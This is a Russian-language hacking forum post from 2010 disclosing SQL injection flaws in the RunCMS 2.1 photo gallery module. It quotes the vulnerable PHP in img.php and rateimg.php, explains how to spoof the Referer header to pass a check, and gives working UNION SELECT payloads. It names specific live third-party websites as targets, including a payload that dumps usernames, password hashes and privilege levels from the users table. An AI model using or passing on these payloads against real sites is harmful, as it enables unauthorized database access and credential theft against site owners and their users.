Показать сообщение отдельно
Старый 06.07.2010, 15:37   #3
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

RunCMS v2.1
http://www.runcms.ru/
Стандартный модуль Фотогалерея (gallery v2.02)

modules/galleri/img.php
PHP код:
  include("../../mainfile.php");
  if( !
eregi(  RCX_URL$HTTP_REFERER) || $image == 0) {
    echo 
"<table height='100%' width='100%' border='0' cellspacing='0' cellpadding='0' align='center' valign='middle'><tr>";
    echo 
"<td align='center'><font size='2' color='#ff0000'><b>Selbst fotografieren macht Spass<br><br>(c) by ".RCX_URL."</b></font></td></tr></table>";
  }else{
    
$result $db->query("SELECT cname, img FROM ".$db->prefix("galli_img")." WHERE id=".$image."");
    list(
$cname$img)=$db->fetch_row($db->query("SELECT cname, img FROM ".$db->prefix("galli_img")." WHERE id=".$image.""));
    
$img_file RCX_ROOT_PATH."/modules/galleri/galerie/".$cname."/".$img;
    if(@
file_exists($img_file)){    
      
$size = @getimagesize($img_file);
      echo 
"<table border='0' cellspacing='0' cellpadding='0'><tr>";
      echo 
"<td style='background-image:url(".RCX_URL."/modules/galleri/galerie/".$cname."/".$img.")'>";
      echo 
"<img src='".RCX_URL."/modules/galleri/images/blank.gif' ".$size[3]." border='0'>";
      echo 
"</td></tr></table>"
$image не фильтруется, но для проведения SQL Injection нужно выполнить два условия:

- eregi( RCX_URL, $HTTP_REFERER). В Referer подставить УРЛ до корня CMS.
Если ошибемся получим сообщение:
"Selbst fotografieren macht Spass (c) by http://localhost/runcms"
т.е. подсказка, RCX_URL=http://localhost/runcms

- Вывод первого поля попадает в переменную $cname, поэтому нужно подставить путь до существующего файла,
тогда во втором поле увидим результаты иньекции.

SQL
mq=off
http://www.managym.dk/modules/galleri/img.php
header
REFERER=http://www.managym.dk
post
image=-1 union select "../img.php%00",version()

Вывод смотрим в source code.

-------------------------

modules/galleri/rateimg.php

PHP код:
    include("header.php");
    include_once(
RCX_ROOT_PATH."/class/module.textsanitizer.php");
    
$myts = new MyTextSanitizer
    include_once(
GALLI_PATH."/include/user.errorhandler.php");
    include_once(
GALLI_PATH."/class/gall_img.php");

...
      if(!
$rcxUser){
        
$ratinguser 0;    // т.е. гость, не авторизован (nikp)
      
}else{
        
$ratinguser $rcxUser->uid();
      }

...
      
$id $_POST['id'];

...
        if (
$ratinguser == 0){
          
$yesterday = (time()-(86400 $anonwaitdays));
            
$result=$db->query("select count(*) FROM ".$db->prefix("galli_vote")." WHERE id=$id AND ratinguser=0 AND ratinghostname = '$ip' AND ratingtimestamp > $yesterday");
          list(
$anonvotecount) = $db->fetch_row($result); 
SQL
mq=any

http://blender-3d.ru/modules/galleri/rateimg.php
post
id=-1 union select concat_ws(0x3a,uname,pass,level) from runcms_users


http://www.amigoitaly.ru/modules/galleri/rateimg.php
post
id=-1 union select concat_ws(0x3a,uname,pass,level) from run_users

------------------------
nikp вне форума   Ответить с цитированием